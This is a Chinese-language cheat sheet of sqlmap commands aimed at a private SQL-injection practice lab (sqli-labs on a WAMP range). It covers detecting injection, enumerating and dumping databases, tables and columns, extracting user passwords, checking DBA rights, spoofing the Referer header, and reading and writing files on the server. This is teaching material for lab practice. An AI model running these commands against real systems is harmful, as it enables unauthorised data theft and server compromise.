##python sqlmap.py开头的是在Windows中运行sqlmap时使用的;
##sqlmap开头的是在Kali中运行sqlmap时使用的
#判断是否存在注入:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1"
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1"
#注入点后面的参数大于等于2个时:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1&uid=2"
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1&uid=2"
#判断文本中的请求是否存在注入:
python sqlmap.py -r 文本路径 #例如:python sqlmap.py -r desktop/1.txt
sqlmap -r 文本路径 #例如:sqlmap -r desktop/1.txt
#查询当前用户下的所有数据库:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --dbs
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --dbs
#获取数据库中的表名:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 --tables
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 --tables
#获取表中的字段名:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 -T 表名 --columns
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 -T 表名 --columns
#获取字段内容:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 -T 表名 -C 字段1,字段2…… --dump
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" -D 库名 -T 表名 -C 字段1,字段2…… --dump
#获取数据库的所有用户:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --users
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --users
#获取数据库用户的密码:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --passwords
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --passwords
#获取当前网站数据库的名称:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --current-db
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --current-db
#获取当前网站数据库的用户名称:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --current-user
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --current-user
#注:末尾添加 --batch 扫描过程中会自动选择默认选项,例如询问是否使用等级1的方式扫描,默认是使用,添加该选项时就不用手动按回车确认。
#查看当前用户是不是数据库管理员账户:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --is-dba
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --is-dba
#注:结果中出现:currnet user is DBA: Ture 就表示是管理员账户
#列出数据库管理员角色:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --roles
sqlmap -u -u "http://192.168.77.133/sql/Less-1/?id=1" --roles
#发送请求时伪造HTTP中的referer(表示请求是从哪里发出的,通常用于伪造和欺骗)
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --referer http://www.baidu.com
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --referer http://www.baidu.com
#注:命令表示发送请求时,欺骗对方,告知对方请求是从www.baidu.com发送出来的
#从数据库服务器中读取文件:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --file-read "C:/wamp/test.txt" -v 1
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --file-read "C:/wamp/test.txt" -v 1
#注:WAMP环境使用的是Win7系统,在进行如上命令操作时,需提前在靶场系统内创建好所要读取的文件,所以提前在C:/wamp/目录下创建好test.txt,并写入随机内容即可。
#上传文件到数据库服务器中:
python sqlmap.py -u "http://192.168.77.133/sql/Less-1/?id=1" --file-write /root/1.txt --file-dest "C:/wamp/2.txt" -v 1
sqlmap -u "http://192.168.77.133/sql/Less-1/?id=1" --file-write /root/1.txt --file-dest "C:/wamp/2.txt" -v 1
#注:操作环境为Kali,提前在/root/目录下创建一个文件1.txt并写入一定内容,然后将该文件上传到服务器的C:/wamp/目录下,并修改名称为2.txt